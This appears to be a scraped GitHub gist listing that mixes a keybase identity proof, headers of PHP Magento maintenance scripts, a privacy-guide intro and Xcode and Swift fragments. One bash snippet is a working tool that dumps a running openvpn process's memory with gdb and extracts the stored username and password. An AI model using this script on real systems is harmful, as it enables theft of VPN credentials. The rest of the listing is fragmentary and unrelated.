I hereby claim:
- I am hslatman on github.
- I am hslatman (https://keybase.io/hslatman) on keybase.
- I have a public key whose fingerprint is 5728 776A 1F2C B634 52F9 E334 2BBD DDDD 3129 439A
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
| <?php | |
| /****************************************************************************************************************** | |
| * Source: http://www.emvee-solutions.com/blog/create-tar-files-archive-files-server-using-php-script/ | |
| * | |
| * Please note that the script wil by default tar all files and (sub)folders from the directory you uploaded the script to | |
| * into a file named archive.tar. You can overwrite the directory and archive name by calling the script with your own | |
| * parameters, like this (replace the italic text for your own needs): | |
| * | |
| * http://domain.com/archive.php?targetname=achivename.tar&dir=relative/folder/to/put/in/archive/ | |
| ******************************************************************************************************************/ |
| <?php | |
| /****************************************************************************************************************** | |
| * Source: http://www.emvee-solutions.com/blog/magento-clear-cache-programatically/ | |
| * | |
| * Clearing the Magento cache programmatically | |
| ******************************************************************************************************************/ | |
| //increase execution time | |
| ini_set('max_execution_time', 900); //900 seconds = 15 minutes | |
| <?php | |
| /****************************************************************************************************************** | |
| * Source: http://www.emvee-solutions.com/blog/magento-create-database-backup-php-code/ | |
| * | |
| * Creating a Magento database backup in var/backups | |
| ******************************************************************************************************************/ | |
| //increase execution time | |
| ini_set('max_execution_time', 900); //900 seconds = 15 minutes | |
| <?php | |
| /****************************************************************************************************************** | |
| * Source: http://www.emvee-solutions.com/blog/magento-custom-reindex-script/ | |
| * | |
| * Custom Magento re-indexing script | |
| ******************************************************************************************************************/ | |
| //Place this file in your Magento root folder, or modify the require once to match your directory. | |
| #!/bin/bash | |
| # This little hack-job will grab credentials from a running openvpn process in Linux | |
| # Keep in mind this won't work if the user used the --auth-nocache flag | |
| grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done | |
| echo "Your credentials should be listed below as username/password" | |
| strings *.dump | grep -B2 KnOQ | grep -v KnOQ | |
| rm *.dump --force |
The purpose of this document is to make recommendations on how to browse in a privacy and security conscious manner. This information is compiled from a number of sources, which are referenced throughout the document, as well as my own experiences with the described technologies.
I welcome contributions and comments on the information contained. Please see the How to Contribute section for information on contributing your own knowledge.
| exec > /tmp/${PROJECT_NAME}_archive.log 2>&1 | |
| UNIVERSAL_OUTPUTFOLDER=${BUILD_DIR}/${CONFIGURATION}-universal | |
| if [ "true" == ${ALREADYINVOKED:-false} ] | |
| then | |
| echo "RECURSION: Detected, stopping" | |
| else | |
| export ALREADYINVOKED="true" |
| // Source: https://gist.github.com/dtartaglia/6ebec424bc57d47ed133e9306b74b55f | |
| struct LoadInput<T, U> { | |
| let trigger: Observable<T> /// will cause the network request to start passing the T to the request generator. | |
| let makeRequest: (T) -> URLRequest /// a function that knows how to create the URLRequest | |
| let download: (URLRequest) -> Observable<Data> /// the function that actually does the download. By default, it uses URLSession.shared | |
| let makeObject: (Data) -> U /// a function that knows how to convert the data into the needed resource. | |
| } | |
| extension LoadInput { |